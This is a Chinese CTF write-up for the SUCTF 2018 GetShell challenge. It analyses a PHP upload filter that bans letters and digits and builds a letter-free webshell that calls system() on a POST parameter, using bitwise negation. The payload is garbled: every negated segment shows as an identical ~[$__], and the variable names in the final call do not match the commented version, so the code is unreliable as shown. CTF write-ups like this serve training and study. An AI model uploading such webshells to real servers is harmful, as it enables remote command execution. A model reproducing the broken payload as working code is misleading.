[SUCTF 2018]GetShell

解题过程

打开题目环境,有文件上传功能,提示我们getshell
在这里插入图片描述

if($contents=file_get_contents($_FILES["file"]["tmp_name"])){
    $data=substr($contents,5);
    foreach ($black_char as $b) {
        if (stripos($data, $b) !== false){
            die("illegal char");
        }
    }     
} 

分析一下:
上传文件,然后截取内容,从第六位开始的内容都会赋给data,然后会有一个黑名单一样的东西,如果data中存在黑名单字符,就会die。

一般的思路是上传木马,然后蚁剑连接或者直接执行命令,但是fuzz之后,数字及英文字母都被过滤了,这就需要使用特殊的木马构造方式,推荐p神的文章:一些不包含数字和字母的webshell

其中提到了三种构造方式,本题的话,比较适合第二种取反
引用下p神的博客内容
在这里插入图片描述

没有过滤的字符有$ ( ) [ ] _ ~ ;

<?php
$_=[]; //
$__=$_.$_; //arrayarray
$_=($_==$__);//$_=(array==arrayarray)明显不相同 false 0
$__=($_==$_);//$__=(array==array) 相同返回1

$___ = ~[$__].~[$__].~[$__].~[$__].~[$__].~[$__];//system
$____ = ~[$__].~[$__].~[$__].~[$__].~[$__];//_POST


$____($$__[_]);//也就是system($_POST[_])

因为php是可见字符,所以使用<?=代替<?php

payload

<?=$_=[];$__=$_.$_;$_=($_==$__);$__=($_==$_);$___=~[$__].~[$__].~[$__].~[$__].~[$__].~[$__];$____=~[$__].~[$__].~[$__].~[$__].~[$__];$___($$____[_]);

在这里插入图片描述
环境有点问题,flag不在这里,但是可以使用env来得到flag

env命令用于显示系统中已存在的环境变量,以及在定义的环境中执行指令。

在这里插入图片描述

参考文章

  1. Sn0w/师傅的CTF训练计划—[SUCTF 2018]GetShell

  2. 一些不包含数字和字母的webshell

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值